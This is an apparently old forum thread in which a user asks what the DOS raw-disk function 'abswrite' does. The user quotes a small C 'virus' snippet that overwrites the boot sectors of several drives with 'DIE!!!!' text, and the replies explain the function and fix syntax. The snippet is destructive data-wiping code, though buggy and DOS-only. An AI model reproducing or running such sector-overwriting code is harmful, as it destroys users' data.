Originally Posted by
Moonbat
I've seen the command 'abswrite' in many 'viruses' that basically bombard your computer with messages. What exactly does abswrite do. Here is an example of how it is used:
I believe abswrite and absread are for raw disk access, bypassing the usual OS API for doing so. Those functions are only available in DOS though, so forget about using them in any modern Windows OS.
Include what?
Should be int main().
Code:
{
char *vir;
int i;
strcpy(vir,"");
for (i=0; i<40; i++)
strcat(vir,"DIE!!!!!!!!!!!!!");
abswrite(2,50,0,vir);
abswrite(*,50,0,vir);
abswrite(4,50,0,vir);
abswrite(5,50,0,vir);
printf("Ouch dude... sorry..");
};
Should have this:
before the closing brace (in your code, after the printf() line).
This (at the end):
should be: